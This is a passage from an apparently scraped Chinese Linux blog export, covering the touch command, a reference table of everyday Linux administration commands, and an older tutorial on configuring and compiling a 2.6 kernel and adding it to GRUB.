dbname % cat filename.dump.* | pgsql dbname 名称：touch 使用权限：所有使用者 使用方式： touch [-acfm] [-r reference-file] [\u0026#8211;file=reference-file] [-t MMDDhhmm[[CC]YY][.ss]] [-d time] [\u0026#8211;date=time] [\u0026#8211;time={atime,access,use,mtime,modify}] [\u0026#8211;no-create] [\u0026#8211;help] [\u0026#8211;version] file1 [file2 \u0026#8230;] 说明： touch 指令改变档案的时间记录。 ls -l 可以显示档案的时间记录。 参数： a 改变档案的读取时间记录。 m 改变档案的修改时间记录。 c 假如目的档案不存在，不会建立新的档案。与 \u0026#8211;no-create 的效果一样。 f 不使用，是为了与其他 unix 系统的相容性而保留。 r 使用参考档的时间记录，与 \u0026#8211;file 的效果一样。 d 设定时间与日期，可以使用各种不同的格式。 t 设定档案的时间记录，格式与 date 指令相同。 \u0026#8211;no-create 不会建立新档案。 \u0026#8211;help 列出指令格式。 \u0026#8211;version 列出版本讯息。 范例： 最简单的使用方式，将档案的时候记录改为现在的时间。若档案不存在，系统会建立一个新的档案。 touch file touch file1 file2 将 file 的时间记录改为 5 月 6 日 18 点 3 分，公元两千年。时间的格式可以参考 date 指令，至少需输入 MMDDHHmm ，就是月日时与分。 touch -c -t 05061803 file touch -c -t 050618032000 file 将 file 的时间记录改变成与 referencefile 一样。 touch -r referencefile file 将 file 的时间记录改成 5 月 6 日 18 点 3 分，公元两千年。时间可以使用 am, pm 或是 24 小时的格式，日期可以使用其他格式如 6 May 2000 。 touch -d \u0026quot;6:03pm\u0026quot; file touch -d \u0026quot;05/06/2000\u0026quot; file touch -d \u0026quot;6:03pm 05/06/2000\u0026quot; file\n","permalink":"https://hessian.cn/p/347.html","summary":"NO 分类 PS1 命令名 用法及参数 功能注解 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 1 文件管理 # ls ls -a 列出当前目录下的所有文件，包括以.头的隐含文件 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # ls ls -l或ll 列出当前目录下文件的详细信息 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # pwd pwd 查看当前所在目录的绝对路经 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # cd cd .. 回当前目录的上一级目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # cd cd \u0026#8211; 回上一次所在的目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # cd cd ~ 或 cd 回当前用户的宿主目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # cd cd ~用户名 回指定用户的宿主目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 2 文件管理 # mkdir mkdir 目录名 创建一个目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # mkdir mkdir \u0026ndash;p 递归式去创建一些嵌套目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # rmdir Rmdir 空目录名 删除一个空目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 3 文件管理 # rm rm 文件名 文件名 删除一个文件或多个文件 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # rm rm -rf 非空目录名 递归删除一个非空目录下的一切，不让提式-f \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 4 文件管理 # cat cat文件名 一屏查看文件内容 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 5 文件管理 # more more文件名 分页查看文件内容 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 6 文件管理 # less less 文件名 可控分页查看文件内容 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 7 文件管理 # grep grep字符 文件名 根据字符匹配来查看文件部分内容 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 8 文件管理 # mv mv 路经/文件 /经/文件 移动相对路经下的文件到绝对路经下 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 文件管理 # mv mv 文件名 新名称 在当前目录下改名 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 9 文件管理 # cp cp /路经/文件 ./ 移动绝对路经下的文件到当前目录下 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 10 文件管理 # find find 路经 -name \u0026ldquo;字符串\u0026rdquo; 查找路经所在范围内满足字符串匹配的文件和目录 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 11 文件管理 # ln ln 源文件 链接名 创建当前目录源文件的硬链接 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; ln /home/test /usr/test1 在/usr下建立/home/test的硬链接 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 12 文件管理 # ln Ln -s a b 创建当前目录下a的符号链接b \u0026nbsp;\u0026nbsp; 13 文件管理 # touch touch file1 file2 创建两个空文件 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 14 磁盘管理 # df df 用于报告文件系统的总容量，使用量，剩余容量。 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 15 磁盘管理 # du du -b /home 查看目前/HOME目录的容量(k)及子目录的容量(k)。 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 16 磁盘管理 # fdisk fdisk -l 查看系统分区信息 \u0026nbsp;\u0026nbsp; 17 磁盘管理 # fdisk fdisk /dev/sdb 为一块新的SCSI硬盘进行分区 \u0026nbsp;\u0026nbsp; 18 磁盘管理 # mkfs.ext3 Mkfs.ext3 /dev/sdb1 为第一块SCSI硬盘的第一主分区格式化成 ext3的文件系统 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; mkfs.ext2 Mkfs.ext2/dev/sdb2 格式化成ext2文件系统 \u0026nbsp;\u0026nbsp; 19 磁盘管理 # mount mount -t 文件系统类型 设备路经 访问路经 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 磁盘管理 # \u0026nbsp;\u0026nbsp; 文件系统类型 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; Iso9660 光驱文件系统 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; vfat Fat文件系统(windows) \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 挂载光驱 # mount \u0026ndash;t iso9660 /dev/cdrom /mnt/cdrom \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 挂载FAT # mount \u0026ndash;t vfat /dev/hda5 /mnt/cdrom 挂第一个ide的第五个逻辑分区 \u0026nbsp;\u0026nbsp; 17 磁盘管理 # Umount /mnt/cdrom 卸载/mnt/cdrom为空 \u0026nbsp;\u0026nbsp; 18 文件权限 # chmod chmod u+s file 为file的属主加上特殊权限 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; chmod g+r file 为file的属组加上读权限 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; chmod o+w file 为file的其它用户加上写权限 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; chmod a-x file 为file的所有用户减去执行权限 \u0026nbsp;\u0026nbsp; chmod 765 file 为file的属主设为完全权限，属组设成读写权，其它用户具有读和执心权限 \u0026nbsp;\u0026nbsp; 19 文件权限 # chown chown root /home 把/home的属主改成root用户 \u0026nbsp;\u0026nbsp; 20 文件权限 # chgrp chgrp root /home 把/home的属组改成root组 \u0026nbsp;\u0026nbsp; 21 打印管理 # redhat-config-printer-tui 进入安装打印机界面 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 22 打印管理 # lp lp \u0026ndash;d hptr file 打印file到hptr的打印机上 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 23 打印管理 # lpq Lpq \u0026ndash;P 打印机名 查看打印机的状态 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 24 打印管理 # lprm Lprm \u0026ndash;P 打印机名 a 删除打印机内的打印作业 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 25 打印管理 # disable Disable \u0026ndash;r \u0026ldquo;changing paper\u0026rdquo; HPtr 禁用打印机并提示原因 \u0026nbsp;\u0026nbsp; 26 打印管理 # enable Enable HPtr 重新启用被禁用的 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 27 用户管理 # useradd Useradd 创建一个新的用户 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 28 用户管理 # groupadd Groupadd 组名 创建一个新的组 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 29 用户管理 # passwd Passwd 用户名 为用户创建密码 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 30 用户管理 # Passwd -d Passwd -d用户名 删除用户密码也能登陆 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 31 用户管理 # Passwd -l Passwd -l用户名 锁定账号密码 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 32 用户管理 # Passwd -u Passwd -u用户名 解锁账号密码 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 33 用户管理 # Passwd -S Passwd -S用户名 查询账号密码 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 34 用户管理 # Usermod -l Usermod -l 新用户名 老用户名 为用户改名 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 35 用户管理 # Usermod -L Usermod -L 要锁定用户名 锁定用户登陆 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 36 用户管理 # Usermod -U Usermod \u0026ndash;U解锁用户名 解锁用户登陆 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 37 用户管理 # Usermod -u Usermod \u0026ndash;u 501用户名 改变用户UID \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 38 用户管理 # Userdel Userdel\u0026ndash;r 用户名 删除用户一切 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 39 用户管理 # Groupmod -n Groupmod \u0026ndash;n新用户名 老用户名 为组改名 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 40 用户管理 # Groupmod -g Groupmod \u0026ndash;g 501 组名 改变组GID \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 41 用户管理 # groupdel Groupdel组名 先应删它的用户 删除组 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 42 用户管理 # gpasswd -a gpasswd -a 用户名 组名 增加用户到组 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 43 用户管理 # Id id 用户名 查用户信息 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 44 软件管理 # rpm -qa rpm \u0026ndash;qa | less 查询已安装RPM \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 45 软件管理 # \u0026nbsp;\u0026nbsp; rpm \u0026ndash;qa | grep ftp 查询指定RPM \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 46 软件管理 # rpm -q rpm -q 已安装的RPM包 查是否安装 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 47 软件管理 # \u0026nbsp;\u0026nbsp; rpm -q telnet-server 查看telnet服务器包 \u0026nbsp;\u0026nbsp; 48 软件管理 # rpm -qi rpm \u0026ndash;qi 软件包名称 查看软件的描述信息 \u0026nbsp;\u0026nbsp; 49 软件管理 # rpm -ql rpm \u0026ndash;ql软件包名称 查询软件包的文件列表 \u0026nbsp;\u0026nbsp; 50 软件管理 # rpm -qf rpm \u0026ndash;qf软件包名称 查询某个文件所属的软件包 \u0026nbsp;\u0026nbsp; 51 软件管理 # rpm -qp rpm \u0026ndash;qp软件包全名 查询未安装的软件包信息 \u0026nbsp;\u0026nbsp; 52 软件管理 # rpm -e rpm \u0026ndash;e 软件包名称 删除具体的软件包 \u0026nbsp;\u0026nbsp; 53 软件管理 # rpm -U rpm \u0026ndash;Uvh软件包全名 升级软件包并显示过程 \u0026nbsp;\u0026nbsp; 54 软件管理 # rpm -ivh rpm \u0026ndash;ivh 软件包全名 安装软件包并显示过程 \u0026nbsp;\u0026nbsp; 55 软件管理 # rpm -V rpm \u0026ndash;V软件包名称 验证软件包的大小，类型等 \u0026nbsp;\u0026nbsp; 56 软件管理 # tar -c 创建包 \u0026ndash;x 释放包 -v 显示命令过程 \u0026ndash;z 代表压缩包 \u0026nbsp;\u0026nbsp; 57 软件管理 # tar -cf tar \u0026ndash;cvf benet.tar /home/benet 把/home/benet目录打包 \u0026nbsp;\u0026nbsp; 58 软件管理 # tar -czf tar \u0026ndash;zcvf benet.tar.gz /mnt 把目录打包并压缩 \u0026nbsp;\u0026nbsp; 59 软件管理 # tar \u0026ndash;tf tar \u0026ndash;tf benet.tar 看非压缩包的文件列表 \u0026nbsp;\u0026nbsp; 60 软件管理 # tar \u0026ndash;tzf tar \u0026ndash;tf benet.tar.gz 看压缩包的文件列表 \u0026nbsp;\u0026nbsp; 61 软件管理 # tar \u0026ndash;xf tar \u0026ndash;xf benet.tar 非压缩包的文件恢复 \u0026nbsp;\u0026nbsp; 62 软件管理 # tar \u0026ndash;zxvf tar \u0026ndash;zxvf benet.tar.gz 压缩包的文件解压恢复 \u0026nbsp;\u0026nbsp; 63 软件管理 # tar -jxvf tar \u0026ndash;jxvf benet.tar.bz2 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 64 软件管理 # diff diff file1 file2 \u0026gt; 补丁名.patch 为新旧文件生成补丁文件 \u0026nbsp;\u0026nbsp; 65 软件管理 # diff diff file1 file2 比较两个文件的区别 \u0026nbsp;\u0026nbsp; 66 软件管理 # Patch Patch file补丁名.patch 打补丁 \u0026nbsp;\u0026nbsp; 67 软件管理 # ./configure \u0026#8211;prefix=/usr/local/ 编译前配置 \u0026nbsp;\u0026nbsp; 68 软件管理 # make 编译 \u0026nbsp;\u0026nbsp; 69 软件管理 # make install 安装编译好的源码包 \u0026nbsp;\u0026nbsp; 70 启动管理 # reboot Init 6 重启LINUX系统 \u0026nbsp;\u0026nbsp; 71 启动管理 # Halt Init 0 Shutdown \u0026ndash;h now 关闭LINUX系统 \u0026nbsp;\u0026nbsp; 72 启动管理 # runlevel \u0026nbsp;\u0026nbsp; 显示系统运行级 \u0026nbsp;\u0026nbsp; 73 启动管理 # Init [0123456] \u0026nbsp;\u0026nbsp; 改变系统运行级,7种 \u0026nbsp;\u0026nbsp; 74 启动管理 # Chkconfig \u0026ndash;-list [服务名称] 查看服务的状态 \u0026nbsp;\u0026nbsp; 75 启动管理 # Chkconfig \u0026ndash;-level \u0026lt;运行级\u0026gt; \u0026lt;服务名\u0026gt; on|off|set 设置服务的启动状态 \u0026nbsp;\u0026nbsp; 76 启动管理 # Chkconfig \u0026lt;服务名\u0026gt; on|off|set 设置非独立服务启状态 \u0026nbsp;\u0026nbsp; 77 进程管理 # Top动态 Ps-aux静态 进程树pstree 查看系统进程 \u0026nbsp;\u0026nbsp; 78 进程管理 # 程序名 \u0026amp; 后台运行程序 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 79 进程管理 # fg 把后台运行的进程调回前台 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 80 进程管理 # bg 把前台运行进程调到后台 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 81 进程管理 # renice Renice +1 180 把180号进程的优先级加1 \u0026nbsp;\u0026nbsp; 82 进程管理 # kill Kill PID 终止某个PID进程 \u0026nbsp;\u0026nbsp; 83 进程管理 # at at 5pm + 3 days /bin/ls 指定三天后下午5:00执行/bin/ls \u0026nbsp;\u0026nbsp; 84 进程管理 # crontab Crontab -e 用VI的形式来编辑自动周期性任务 \u0026nbsp;\u0026nbsp; 85 进程管理 # crontab Crontab -l 查看自动周期性任务 \u0026nbsp;\u0026nbsp; 86 进程管理 # crontab Crontab -r 删除自动周期性任务 \u0026nbsp;\u0026nbsp; 87 进程管理 # crond Service crond \u0026lt;start|stop|restart|status\u0026gt; \u0026nbsp;\u0026nbsp; 马上启动自动周期性服务 Service crond \u0026lt;启动|停止|重启|状态\u0026gt; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; 实现磁盘配额 (注安装LINUX时建立/home分区） 目标：对用户zhao在/home目录上实现soft limit为5k,hard limit 为10k的磁盘配额 实现步骤： 1. 修改包含/home的行， #vi /etc/fstab， 改为：defaults,usrquota。也就是增加usrquota项。然后保存退出。 2、卸载/home目录 #umount /home 3. 挂接/home目录 #mount /home 4、增加用户zhao #useradd zhao 5、修改密码 #passwd zhao 6、生成关于/home目录的quota信息 # quotacheck -cmug /home #quotacheck -vu /home 7、查看所有用户的信息 #repquota -au 8、设置配额 #edquota -u zhao 将soft 和hard 分别改为5和10 9、保存并退出 #wq! 10、修改时间 #edquota -t 11、 #wq! 12.开启/home上的磁盘配额功能 #quotaon /home 13.查询配额 #quota -u zhao 14.验证配额 #su \u0026#8211; zhao $touch myfile\n","title":"Linux 日常命令"},{"content":" 作者：北南南北\n来自：LinuxSir.Org\n提要： 编译内核主要是通过内核实现某些功能，比如iptables 需要内支持；所有的硬件的支持也是通过内核实现的；本文只是简单的给初学者讲一下编译内核的流程； ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n正文\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n一、为什么要编译内核；\n有时我们为了实现某些功能，比如对iptables的防火墙有些需要内核支持；还有实现一些硬件的支持等，这时我们需要重编内核；\n二、内核源码版本的选择；\n如果发行版本提供内核源码，最好还是用发行版本提供的；比如Fedora 4.0 提供了很多版本的内核源码；我们安装好后，他自带的配置文件大多能满足我们的需要，对于新手来说，根据自带的内核的配置文件.config ，我们也能学到一点如何配置内核。也没有什么难的，熟能生巧罢了；\n如果从 kernel.org 下载最新稳定版本的内核也是可以的；\n三、内核源码安装或解压；\n对于Fedora Core 4.0 来说，内核源码是放在 /usr/src/kernels 目录中；如果通过在线升级内核，也是放在这个目录中；如果您的系统中的 /usr/src/kernels/ 中没有内容，说明您没有安装内核的源码包 kernel-devel 软件包；\n您可以通过软件包管理器来补装 ，请参考 《Fedora / Redhat 软件包管理指南》\n如果您用Fedora Core 4.0 ，我建议您在保留老内核的基础上，在线下载最新版本的内核 kerenl-devel 和对应版本的 kernel 或者从 kernel.org 下载，有时可能新的kerenl 已经解决了您所面对的问题，这时就没有必要编译内核了；\n如果您是通过在线安装的内核源码包 ，比如通过 apt+synaptic 或者yum 安装的，内核源码会被放到/usr/src/kernel 下的目录中，您要进入相对应的目录进行编译；\n在线更新软件包，请参考 《Fedora / Redhat 软件包管理指南》，推荐 apt+synaptic 工具；\n如果您是是下载kernel 和kernel-devel 的rpm 包，可以通过来安装； [root@localhost beinan]# rpm -ivh kernel*.rpm 如果您是从kernel.org 下载的类似 linux-2.6.13.tar.bz2 或者 linux-2.6.13.tar.gz的，您要把下载下来的文件移到 /usr/src 目录中解压； 然后进入解压的目录中进行配置和编译； [root@localhost beinan]# mv linux-2.6.13.tar.bz2\n[root@localhost beinan]# cd /usr/src/\n[root@localhost src]# tar jxvf linux-2.6.12.3.tar.bz2 提示：本文以linux-2.6.12.3为例，其实通过发行版的升级版的 kernel-devel 和从kernel.org 下载下来的差不多，大同小异；不同的是通过在线升级的rpm格式的内核源码包，有配置文件.config 可以参考；安装到的目的地是/usr/src/kernel 对FC 4.0来说；如果您要高编译和配置内核，\n四、内核的配置；\n1、进入目录执行 make mrproper ，对于从 kernel.org 下载而来的tar.bz格式的源码包；\n[root@localhost src]# cd linux-2.6.12.3/\n[root@localhost linux-2.6.12.3]#\n[root@localhost src]# cd linux-2.6.12.3/\n[root@localhost linux-2.6.12.3]# make mrproper\n[root@localhost linux-2.6.12.3]# make menuconfig 对于Fedora Core 4.0 ，如果您是通过在线安装的 kernel和kernel-devel 新版本的包，比如是2.6.12-1.1398_FC4-i686，你可以直进入 /usr/src/kernel/相应的目录中直接执行 make menuconfig ；利用发行版本提供的 .config 来配置，这样方便点。不要make mrproper ，否则.config 就没有了；这也是为什么要用发行版本提供的内核源码升级包的原因；\n其它配置和安装大同小异；模仿总可以吧；\n2.简要的配置内核；\n进入配置内核的配置模式后，我们可能一无所知，看下面；\n内核配置有两种方法，一种是直接置入内核 * ；另一种是编成模块 M ；两种方法各有优点；直接编入内核的，比如设备的启动，不再需要加载模块的这一过程了；而编译成模块，则需要加载设备的内核支持的模块；但直接把所有的东西都编入内核也不是可行的，内核体积会变大，系统负载也会过重。我们编内核时最好把极为重要的编入内核；其它的如果您不明白的，最好用默认。\n1）移动键盘上下左右键，按Enter 进入一个目录。把指针移动到Exit就退出当前目录到上级目录；\n2）针对自己机器存在的问题进行修改，比如大内存的支持；\n选择自己机器的CPU；\n移动键盘到 Processor type and features \u0026#8212;\u0026gt; ，然后按ENTER进入；\n找到 Processor family (Pentium-Pro) \u0026#8212;\u0026gt; 按ENTER进入；\n进入后我们发现有好多CPU的型号可选；一般的情况下要根据\nbash-3.00# cat /proc/cpuinfo 输出的信息来选，比如我们的是Celeron （P4）一代的，应该选如下的，当然默认的 486也是可以正常运行的，既然我们重编一次内核，就得选中对应型号的，也许性能有所提高呢； Processor family (Pentium-4/Celeron(P4-based)/Pentium-4 M/Xeon) 对大内存支持；如果内存是1G或者1G以上，但小于4G的，就要选4G支持；如果超过4G的，要选64G的支持；\nHigh Memory Support (4GB) ---\u0026gt;\n(X) 4GB\n( ) 64GB 还有比如声卡等硬件，需要我们一步一步的查看；如果有不明之处，就要按 [shift]+？的组合键来查看说明。一般的情况下，2.6.x的内核会根据机器的情况自动配出一个文件，只需要我们来查看一下，把重要的地方改改就行了；\n再举个例子：比如我现在所用的声卡是intel ac97的，我应该怎么配置呢？\n首先要知道自己的声卡的芯片组，我们要通过lspci -v 来查看； [root@localhost beinan]#lspci -v 只查看声卡的，应该用如下的方法：\n[root@localhost beinan]# lspci -v |grep audio\n00:1f.5 Multimedia audio controller: Intel Corp. 82801DB (ICH4) AC'97 Audio Controller (rev 03) 通过上面的输出，我们知道这台机器用的是intel AC97声卡；所以我们要特别注意AC97的配置；\n找到 Device Drivers ---\u0026gt; Sound ---\u0026gt;\n\u0026lt;M\u0026gt; Sound card support 声卡的支持，这个是一定要选中的吧；\n\u0026lt;M\u0026gt; Advanced Linux Sound Architecture 对声卡支持的ALSA驱动的支持；\n下面有OSS驱动，只是一部份。如果想用OSS的驱动更全的，可以去买；其它的就看如下的选吧；\n\u0026lt;M\u0026gt; Sequencer support\n\u0026lt;M\u0026gt; Sequencer dummy client\n\u0026lt;M\u0026gt; OSS Mixer API\n\u0026lt;M\u0026gt; OSS PCM (digital audio) API[*] OSS Sequencer API\n\u0026lt;M\u0026gt; RTC Timer support[*] Verbose printk\n[ ] Debug 大多是默认的就好，如果您不知道是做什么用的，或者怎么用；\n然后我们再向下看有 Generic devices ---\u0026gt; 进入里面\n\u0026lt;M\u0026gt; Dummy (/dev/null) soundcard\n\u0026lt;M\u0026gt; Virtual MIDI soundcard\n\u0026lt;M\u0026gt; MOTU MidiTimePiece AV multiport MIDI\n\u0026lt;M\u0026gt; UART16550 serial MIDI driver\n\u0026lt;M\u0026gt; Generic MPU-401 UART driver\nISA devices ---\u0026gt; 如果您用ISA声卡就在这里面选；\nPCI devices ---\u0026gt; 如果您用PCI声卡，就在这里面选，集成声卡也在这里；\nUSB devices ---\u0026gt; 这是USB声卡内核支持选项；我有一个这样的声卡，但没有试过；\nPCMCIA devices ---\u0026gt; 这是PCMCIA声卡的选项，我还没有看过这样的声卡呢；如果您有，就在这里面动动手吧。 因为我用的是Intel 集成的声卡，所以要在PCI中选择，我们在 中可以看到有两个与INTEL有关的；\n\u0026lt;M\u0026gt; Intel/SiS/nVidia/AMD/ALi AC97 Controller 这个才是Intel AC97声卡的；\n\u0026lt; \u0026gt; Intel/SiS/nVidia/AMD MC97 Modem (EXPERIMENTAL) 这个是机器集成的INTEL猫的蜂鸣器的； 因为我发现如果把猫的蜂鸣器的驱动也选上，可能造成两个冲突。所以只能选上面的那个；\n我们再回到 Open Sound System \u0026#8212;\u0026gt; 中看看，与我用的声卡是不是有关的？ \u0026lt;M\u0026gt; Open Sound System (DEPRECATED)\n\u0026lt;M\u0026gt; Intel ICH (i8xx) audio support\n\u0026lt;M\u0026gt; OSS sound modules\n\u0026lt;M\u0026gt; Loopback MIDI device support\n\u0026lt;M\u0026gt; Microsoft Sound System support 我们也可以看到Open Sound System中也有好多的声卡驱动，大家根据前面的lspci -v 来选择吧。\n3）对于操作系统所采用的文件系统的支持要编入内核，最好不要编成模块；（重要）\n比如我的Fedora core 4.0 所采用的文件系统用的是ext3 ，所以我要把它直接编入内核；好处是不受模块丢失或者损坏而不能启动系统；而有时您把系统所采用的文件系统编译成模块，出现VFS错误，也有这方面的事，可能是您没有把ext3加入到相应的加载模块的配置文件中，所以我们为了减少麻烦，把风险降到最低，还是要直接置入内模的好； File systems ---\u0026gt;\n\u0026lt;*\u0026gt; Ext3 journalling file system support\n[*] Ext3 extended attributes\n[*] Ext3 POSIX Access Control Lists\n[*] Ext3 Security Labels 如果您还有其它的硬盘分区要读取，比如是reiserfs、ext2、fat、fat32、ntfs等，这样的可以编成模块来支持；\n再举一例：如果您的的操作系统用的是reiserfs的文件系统，当然就要把reiserfs的直接编入内核，其它的可以编成模块来支持了；\n4）对于硬盘及RAID的支持，要直接编入内核；\n比如ATA、SATA、SCSI及RAID的支持直接内核支持；有时编完内核后，启动时不能识别硬盘和RAID，大多事情出在这里；Slackware中在这方面有的是模块支持，我们可以把它由模块M改成内核*来支持；如果您不明白，就按默认进行；SATA的硬盘的支持除了选中SATA的支持、IDE设备的支持以外，还要选中SCSI的支持；\n5）对于咱们所没有的设备，可以在内核中不选，熟能生巧罢了；\n比如我没有ISDN设备 ，所以就把ISDN去掉； ISDN subsystem ---\u0026gt;\n\u0026lt; \u0026gt; Linux telephony support 如果您没有1394的设备 ，当然可以把1394的支持也去掉；等等。。。。。。。\n如果您有USB的设备，要把USB方面好好看看；比如大家常用的移动硬盘；USB猫等，还有扫描仪等；\n内核配置就说这么多吧，太多了，我也说不清楚，水平有限啊；\n配置好后先要保存\nSave Configuration to an Alternate File\n出来一个\nEnter a filename to which this configuration ，should be saved as an alternate. Leave blank to abort.\n.config\n按回车就行了，这样就保存住了；\n然后退出 Exit ，这时也会出现保存 ；\n如果你想把.config保存起来，可以再复制一份到安全一点的目录，以备后用；\n五、编译内核；\n[root@localhost linux-2.6.12.3]# make\n[root@localhost linux-2.6.12.3]# make modules_install 这样就编译好了，并把模块也安装在了 /lib/modules目录中了，请看： [root@localhost linux-2.6.12.3]# ls /lib/modules/\n2.6.11-1.1369_FC4 2.6.12.3 六、安装内核及配置grub或lilo ；\n1、复制bzImage等相关文件，并创建initrd文件；\n[root@localhost linux-2.6.12.3]# cp arch/i386/boot/bzImage /boot/vmlinuz-2.6.12.3\n[root@localhost linux-2.6.12.3]# cp System.map /boot/System.map-2.6.12.3\n[root@localhost linux-2.6.12.3]# cd /boot\n[root@localhost linux-2.6.12.3]# /sbin/mkinitrd initrd-2.6.12.3.img 2.6.12.3 我们把 编译出来的bzImage，拷入到/boot目录，拷贝成 vmlinuz-2.6.12.3；\n并且用 mkinitrd 来创建imitrd-xxx.img 文件，其中xxx为内核的版本号，是通过 查看 /lib/modules来版本来对应的，我们是编译出来的是 2.6.12.3，所以就运行上面的命令创建，创建的出来的是initrd-2.6.12.3.img ；不创建这个文件，有时是启动不起来的，比如提示VFS错误等；\n2、查看系统引导管理器grub或者lilo的配置文件。\n如果想要让新内核能让系统引导管理器grub和lilo的菜单上能看得到，必须改 grub.conf或者lilo.conf，但我们必须保留老内核的在grub和lilo的启动菜单，毕竟我们编内核不能百分百的成功，对不对？？安全第一吧；\n我只说grub的，我没有lilo，也不会用。所以咱们还是GRUB吧，FC 4 系统引导管理器是 GRUB，所以我们谈谈GRUB的设置；\n查看 /etc/grub.conf；\n比如我的grub.conf的内容是这样的；\n# grub.conf generated by anaconda\n#\n# Note that you do not have to rerun grub after making changes to this file\n# NOTICE: You do not have a /boot partition. This means that\n# all kernel and initrd paths are relative to /, eg.\n# root (hd0,7)\n# kernel /boot/vmlinuz-version ro root=/dev/hda8\n# initrd /boot/initrd-version.img\n#boot=/dev/hda\ndefault=0\ntimeout=5\n#splashimage=(hd0,7)/boot/grub/splash.xpm.gz\n#hiddenmenu\ntitle Fedora Core (2.6.11-1.1369_FC4)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; root (hd0,7)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; kernel 